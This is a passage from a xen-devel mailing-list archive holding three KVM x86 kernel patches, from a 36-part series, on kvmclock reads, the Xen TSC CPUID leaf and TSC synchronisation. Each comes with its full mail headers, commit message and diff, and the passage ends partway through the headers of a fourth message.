 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:15 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a7-f479-0a2a450c0019-5a9b5cc79a06-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:15 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052VZ-34kc; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UY7-18gQ;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=qkfTVUiMDU3wKVqEggFLaaqFoc9wZ8/CDkXcDl8wfs0=; b=EZXf/fjJb4bOv4RLTciNzKGITv
	yW5CZm7kcCdngyDq5Eqa12QMXVZh9we9s4k6WdQMnX+WVIczKVbyAnkS3W91RTszUtVKEzCBw4UL8
	VkshZUr3RNILQ1iQnos08xmZMd3rmjXrQRxTBVqSNbhZhDK59AnNSEiJ1uHmKgbDqKU2HPTUya0Q3
	wDz7oviobriZSOeV+EGQXokzr0bSE1RXIcwHLbw12rlpI6+UiExPionyLGoUJRBj3f39waio0KBtz
	Ggv5MCuUvBMMOZUcBzDe8SPB44Hj6+uR6JNFtW/AqpyaKvZXHmS8ZVgy1gjQraBTJu5fNxkrRxskV
	Dc5DUoAA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 06/36] KVM: x86: Drop CPU pinning in get_kvmclock()
Date: Tue, 28 Jul 2026 15:39:46 +0100
Message-ID: <20260728144954.355376-7-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d25034/1785250215-030D9A5B-39D97A59/0/0
X-purgate-type: clean
X-purgate-size: 1693

From: David Woodhouse <dwmw@amazon.co.uk>

The master clock branch of get_kvmclock() pinned the task to a CPU so
that the rdtsc() and the __this_cpu_read(cpu_tsc_khz) would agree. But
ka->use_master_clock can only be true when the host clocksource is TSC
based, which in turn requires a stable, constant and synchronised TSC
across all CPUs.

Given that, the open-coded CONSTANT_TSC || cpu_tsc_khz check is
redundant (with CONSTANT_TSC, cpu_tsc_khz is tsc_khz on every CPU and
KVM does not even register the cpufreq notifier), and both the TSC read
and get_cpu_tsc_khz() are CPU-independent. Drop the condition and the
get_cpu()/put_cpu() pinning.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 1a598e99852c..590a7ba723f7 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1659,12 +1659,8 @@ static void get_kvmclock(struct kvm *kvm, struct kvm_clock_data *data)
 	do {
 		seq = read_seqcount_begin(&ka->pvclock_sc);
 
-		/* both __this_cpu_read() and rdtsc() should be on the same cpu */
-		get_cpu();
-
 		data->flags = 0;
-		if (ka->use_master_clock &&
-		    (static_cpu_has(X86_FEATURE_CONSTANT_TSC) || __this_cpu_read(cpu_tsc_khz))) {
+		if (ka->use_master_clock) {
 #ifdef CONFIG_X86_64
 			struct timespec64 ts;
 
@@ -1685,8 +1681,6 @@ static void get_kvmclock(struct kvm *kvm, struct kvm_clock_data *data)
 		} else {
 			data->clock = get_kvmclock_base_ns() + ka->kvmclock_offset;
 		}
-
-		put_cpu();
 	} while (read_seqcount_retry(&ka->pvclock_sc, seq));
 }
 
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374513.1621808 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8b-0001KM-LE; Tue, 28 Jul 2026 14:50:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374513.1621808; Tue, 28 Jul 2026 14:50:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8a-0001Ec-00; Tue, 28 Jul 2026 14:50:32 +0000
Received: by outflank-mailman (input) for mailman id 1374513;
 Tue, 28 Jul 2026 14:50:18 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8L-0006v1-KG
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8L-00EhwD-0q; Tue, 28 Jul 2026 16:50:17 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c19e-5cb7-0a2a0a5109dd-0a2a450ae24e-24
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:14 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a5-f2d2-0a2a450a0019-5a9b5cc7d972-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:14 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052Ve-34m1; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UZE-46AP;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=orrEg00hLy8fMybbrnjDaZHYqCx9oB4awTAFaDQZCS0=; b=je/PdnaqT5xutFWI8AtyhpUx3v
	ol2mSafUyMImVcT4vDMLksr5Eq6fPPNB6kRqYT57Qjs9z43vtY0YaSxh5JALiXEwrhbrzWiJ2Y5+/
	5glSuQ61DpxASgUW2I4HWNBMkKZzwWAwiDWm59PsX+J3H5yinWWGHVe9p6DxdnQ7UavugXZL3CcUs
	3vwww4hSPfYZvDpPepVSi9H/BRdcn8Y8yG24b9via1AseSdtGB/D2W4DYfDS63kLAC3Zvq/itkXKs
	AvJCzBZNeK6gi56oGbyErQk+DACG17tZzRAFmb766CPjGbYh69ndlsu/b9zSajZVaek2ggLLDEOZe
	eXdo6l1g==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 22/36] KVM: x86: Remove runtime Xen TSC frequency CPUID update
Date: Tue, 28 Jul 2026 15:40:02 +0100
Message-ID: <20260728144954.355376-23-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-4011c0/1785250214-4A9D9CFC-4331E69B/0/0
X-purgate-type: clean
X-purgate-size: 3298

From: David Woodhouse <dwmw@amazon.co.uk>

Remove the code in kvm_cpuid() that dynamically updates the Xen TSC
info CPUID leaf at runtime. This code was updating the wrong sub-leaf
anyway (0x40000x03/2 EAX is the *host* TSC frequency per the Xen ABI,
not the guest frequency which belongs in 0x40000x03/0 ECX).

Userspace now has all the information it needs to populate the Xen TSC
info leaves (and the generic 0x40000010 timing leaf) at vCPU setup time:

  - KVM_GET_CLOCK_GUEST returns the pvclock_vcpu_time_info structure
    containing tsc_to_system_mul and tsc_shift (Xen leaf index 1)
  - KVM_VCPU_TSC_SCALE returns the effective TSC and bus
    frequencies in kHz (Xen leaf index 2, and 0x40000010)
  - KVM_VCPU_TSC_SCALE returns the raw hardware scaling ratio for
    precise arithmetic (VMClock)

This eliminates the last instance of KVM modifying guest CPUID entries
at runtime for timing information.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/cpuid.c | 17 -----------------
 arch/x86/kvm/xen.h   | 13 -------------
 2 files changed, 30 deletions(-)

diff --git a/arch/x86/kvm/cpuid.c b/arch/x86/kvm/cpuid.c
index 7049f5a5597b..ddb022cb203a 100644
--- a/arch/x86/kvm/cpuid.c
+++ b/arch/x86/kvm/cpuid.c
@@ -16,7 +16,6 @@
 #include <linux/vmalloc.h>
 #include <linux/uaccess.h>
 #include <linux/sched/stat.h>
-#include <linux/units.h>
 
 #include <asm/processor.h>
 #include <asm/user.h>
@@ -2133,22 +2132,6 @@ bool kvm_cpuid(struct kvm_vcpu *vcpu, u32 *eax, u32 *ebx,
 		} else if (function == 0x80000007) {
 			if (kvm_hv_invtsc_suppressed(vcpu))
 				*edx &= ~feature_bit(CONSTANT_TSC);
-		} else if (IS_ENABLED(CONFIG_KVM_XEN) &&
-			   kvm_xen_is_tsc_leaf(vcpu, function)) {
-			/*
-			 * Update guest TSC frequency information if necessary.
-			 * Ignore failures, there is no sane value that can be
-			 * provided if KVM can't get the TSC frequency.
-			 */
-			if (kvm_check_request(KVM_REQ_CLOCK_UPDATE, vcpu))
-				kvm_guest_time_update(vcpu);
-
-			if (index == 1) {
-				*ecx = vcpu->arch.pvclock_tsc_mul;
-				*edx = vcpu->arch.pvclock_tsc_shift;
-			} else if (index == 2) {
-				*eax = div_u64(vcpu->arch.hw_tsc_hz, HZ_PER_KHZ);
-			}
 		}
 	} else {
 		*eax = *ebx = *ecx = *edx = 0;
diff --git a/arch/x86/kvm/xen.h b/arch/x86/kvm/xen.h
index 59e6128a7bd3..f372855857a8 100644
--- a/arch/x86/kvm/xen.h
+++ b/arch/x86/kvm/xen.h
@@ -50,14 +50,6 @@ static inline void kvm_xen_sw_enable_lapic(struct kvm_vcpu *vcpu)
 		kvm_xen_inject_vcpu_vector(vcpu);
 }
 
-static inline bool kvm_xen_is_tsc_leaf(struct kvm_vcpu *vcpu, u32 function)
-{
-	return static_branch_unlikely(&kvm_xen_enabled.key) &&
-	       vcpu->arch.xen.cpuid.base &&
-	       function <= vcpu->arch.xen.cpuid.limit &&
-	       function == (vcpu->arch.xen.cpuid.base | XEN_CPUID_LEAF(3));
-}
-
 static inline bool kvm_xen_msr_enabled(struct kvm *kvm)
 {
 	return static_branch_unlikely(&kvm_xen_enabled.key) &&
@@ -177,11 +169,6 @@ static inline bool kvm_xen_timer_enabled(struct kvm_vcpu *vcpu)
 {
 	return false;
 }
-
-static inline bool kvm_xen_is_tsc_leaf(struct kvm_vcpu *vcpu, u32 function)
-{
-	return false;
-}
 #endif
 
 int kvm_xen_hypercall(struct kvm_vcpu *vcpu);
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374514.1621819 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8e-00021w-Rd; Tue, 28 Jul 2026 14:50:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374514.1621819; Tue, 28 Jul 2026 14:50:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8d-0001sv-NQ; Tue, 28 Jul 2026 14:50:35 +0000
Received: by outflank-mailman (input) for mailman id 1374514;
 Tue, 28 Jul 2026 14:50:18 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8L-000702-Vx
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8L-003A3x-CN; Tue, 28 Jul 2026 16:50:17 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c19f-2eae-0a2a0a5409dd-0a2a4505e402-30
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:17 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a9-4cb1-0a2a45050019-5a9b5cc7ac1c-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:17 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052Vb-36KX; Tue, 28 Jul 2026 14:50:07 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYV-2Y5w;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=J+FoXXHW2aZXUy4Ob7wzvgD81fRpgwA9RyjzfWOxyos=; b=fuHlOX82zNfcmsvl/s0Clvv3ae
	VAHvlPDCsV2YW1FWTA/Lmha/q4csvDdk+8pyqY4Dc3kGQllKcdVmyXRnGHYglkSBfoDrWIqO0b2RX
	1/uD3Mc9uStr0HYg1nokgrpeKaWqgYbMypIIKBlL5wDO+SdpoC17izkO3yxRc8JONFdMUQ26nfyZy
	IXWHDDt/tH2/j+3Ix4lrXzhVistPwkrw5QGEq4sXcqdZkx4qtwSmayaf5kXyR0io0OqW1nriGwnaS
	ShZDvx8erjA3wyBfq8+d5dyPmkV0ZeO9C4AU4xtC4azLVLwKaVxDy0gAXhwM+pFfk2998npbMXDty
	VpJ1BW+w==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 14/36] KVM: x86: Improve synchronization in kvm_synchronize_tsc()
Date: Tue, 28 Jul 2026 15:39:54 +0100
Message-ID: <20260728144954.355376-15-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-c201ff/1785250217-722AB2A1-32F02ABE/0/0
X-purgate-type: clean
X-purgate-size: 3506

From: David Woodhouse <dwmw@amazon.co.uk>

When synchronizing to an existing TSC (either by explicitly writing
zero, or the legacy hack where the TSC is written within one second's
worth of the previously written TSC), the last_tsc_write and
last_tsc_nsec values were being misrecorded by __kvm_synchronize_tsc().
The *unsynchronized* value of the TSC (perhaps even zero) was being
recorded, along with the current time at which kvm_synchronize_tsc()
was called. This could cause *subsequent* writes to fail to synchronize
correctly.

Fix that by resetting {data, ns} to the previous values before passing
them to __kvm_synchronize_tsc() when synchronization is detected.
Except in the case where the TSC is unstable and *has* to be synthesised
from the host clock, in which case attempt to create a nsec/tsc pair
which is on the correct line.

Furthermore, there were *three* different TSC reads used for calculating
the "current" time, all slightly different from each other. Fix that by
using kvm_get_time_and_clockread() where possible and using the same
host_tsc value in all cases.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/x86.c | 36 +++++++++++++++++++++++++++---------
 1 file changed, 27 insertions(+), 9 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index c4fd2367686c..812657f7c984 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -209,6 +209,10 @@ module_param(pi_inject_timer, bint, 0644);
 static bool __read_mostly mitigate_smt_rsb;
 module_param(mitigate_smt_rsb, bool, 0444);
 
+#ifdef CONFIG_X86_64
+static bool kvm_get_time_and_clockread(s64 *kernel_ns, u64 *tsc_timestamp);
+#endif
+
 #define KVM_SUPPORTED_XCR0     (XFEATURE_MASK_FP | XFEATURE_MASK_SSE \
 				| XFEATURE_MASK_YMM | XFEATURE_MASK_BNDREGS \
 				| XFEATURE_MASK_BNDCSR | XFEATURE_MASK_AVX512 \
@@ -1314,14 +1318,23 @@ void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
 {
 	u64 data = user_value ? *user_value : 0;
 	struct kvm *kvm = vcpu->kvm;
-	u64 offset, ns, elapsed;
+	u64 offset, host_tsc, elapsed;
+	s64 ns;
 	unsigned long flags;
 	bool matched = false;
 	bool synchronizing = false;
 
 	raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
-	offset = kvm_compute_l1_tsc_offset(vcpu, rdtsc(), data);
-	ns = get_kvmclock_base_ns();
+
+#ifdef CONFIG_X86_64
+	if (!kvm_get_time_and_clockread(&ns, &host_tsc))
+#endif
+	{
+		host_tsc = rdtsc();
+		ns = get_kvmclock_base_ns();
+	}
+
+	offset = kvm_compute_l1_tsc_offset(vcpu, host_tsc, data);
 	elapsed = ns - kvm->arch.last_tsc_nsec;
 
 	if (vcpu->arch.virtual_tsc_khz) {
@@ -1364,13 +1377,18 @@ void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
          */
 	if (synchronizing &&
 	    vcpu->arch.virtual_tsc_khz == kvm->arch.last_tsc_khz) {
-		if (!kvm_check_tsc_unstable()) {
+		/*
+		 * If synchronizing, advance the reference point to "now"
+		 * so the matching window slides forward with each vCPU.
+		 */
+		u64 delta = nsec_to_cycles(vcpu, elapsed);
+
+		data = kvm->arch.cur_tsc_write + delta;
+
+		if (!kvm_check_tsc_unstable())
 			offset = kvm->arch.cur_tsc_offset;
-		} else {
-			u64 delta = nsec_to_cycles(vcpu, elapsed);
-			data += delta;
-			offset = kvm_compute_l1_tsc_offset(vcpu, rdtsc(), data);
-		}
+		else
+			offset = kvm_compute_l1_tsc_offset(vcpu, host_tsc, data);
 		matched = true;
 	}
 
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374515.1621829 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8h-0002YR-M5; Tue, 28 Jul 2026 14:50:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374515.1621829; Tue, 28 Jul 2026 14:50:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8f-0002RJ-VO; Tue, 28 Jul 2026 14:50:37 +0000
Received: by outflank-mailman (input) for mailman id 1374515;
 Tue, 28 Jul 2026 14:50:18 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8L-0006zN-Uk
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8L-00BbE3-AU; Tue, 28 Jul 2026 16:50:17 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a2-e002-0a2a0a5209dd-0a2a45038b12-26
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:17 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a8-fae8-0a2a45030019-5a9b5cc782ca-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:17 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052Vj-357H; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001Ua3-2lr5;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
